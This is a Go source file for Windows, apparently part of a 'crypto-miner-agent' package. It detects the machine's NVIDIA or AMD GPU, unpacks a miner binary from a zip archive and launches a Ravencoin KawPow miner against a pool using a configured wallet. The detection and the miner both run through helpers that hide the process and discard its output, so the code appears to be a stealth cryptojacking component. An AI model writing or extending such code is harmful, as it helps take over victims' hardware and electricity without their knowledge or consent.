//go:build windows package client import ( "archive/zip" "bytes" "os" "os/exec" "path/filepath" "strings" "crypto-miner-agent/deploy" ) // detectGPU identifies the first supported discrete GPU on Windows. // Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController). func detectGPU() GPUInfo { // NVIDIA — nvidia-smi is the most reliable check if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil { model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) if model != "" { return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} } } // AMD — wmic (available on all modern Windows without extra installs) if out, err := deploy.HiddenOutput( "wmic", "path", "win32_VideoController", "get", "Name", "/value", ); err == nil { for _, line := range strings.Split(string(out), "\n") { line = strings.TrimSpace(line) if !strings.HasPrefix(strings.ToLower(line), "name=") { continue } name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1]) lo := strings.ToLower(name) if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") { return GPUInfo{Vendor: GPUVendorAMD, Model: name} } } } return GPUInfo{Vendor: GPUVendorNone} } // startProcessOnPool launches the GPU miner binary against a specific pool endpoint. func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { wallet := g.cfg.RVNWallet worker := g.cfg.WorkerName poolURL := buildPoolURL(ep) pass := ep.pass if pass == "" { pass = "x" } var args []string switch g.info.Vendor { case GPUVendorNVIDIA: args = []string{ "-a", "kawpow", "-o", poolURL, "-u", wallet + "." + worker, "-p", pass, "--api-bind-http", "127.0.0.1:4067", "--no-watchdog", "--exit-on-cuda-error", } case GPUVendorAMD: args = []string{ "-a", "kawpow", "-o", poolURL, "-u", wallet + "." + worker, "-p", pass, "--api_listen=4068", } } cmd := exec.Command(binPath, args...) deploy.PrepareHiddenProcess(cmd) cmd.Dir = filepath.Dir(binPath) cmd.Stdout = nil cmd.Stderr = nil if err := cmd.Start(); err != nil { return nil, err } return cmd.Process, nil } func itoa(n int) string { if n == 0 { return "0" } buf := make([]byte, 0, 10) neg := n < 0 if neg { n = -n } for n > 0 { buf = append([]byte{byte('0' + n%10)}, buf...) n /= 10 } if neg { buf = append([]byte{'-'}, buf...) } return string(buf) } // extractZipFile unpacks targetFile from a zip archive (in memory) to destDir. func extractZipFile(data []byte, destDir, targetFile string) error { r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) if err != nil { return err } targetLower := strings.ToLower(targetFile) for _, f := range r.File { if strings.ToLower(filepath.Base(f.Name)) != targetLower { continue } rc, err := f.Open() if err != nil { return err } defer rc.Close() dst := filepath.Join(destDir, targetFile) out, err := os.Create(dst) if err != nil { return err } defer out.Close() buf := make([]byte, 32*1024) for { n, err := rc.Read(buf) if n > 0 { if _, we := out.Write(buf[:n]); we != nil { return we } } if err != nil { break } } return nil } return nil // binary not found inside zip — non-fatal, caller checks after }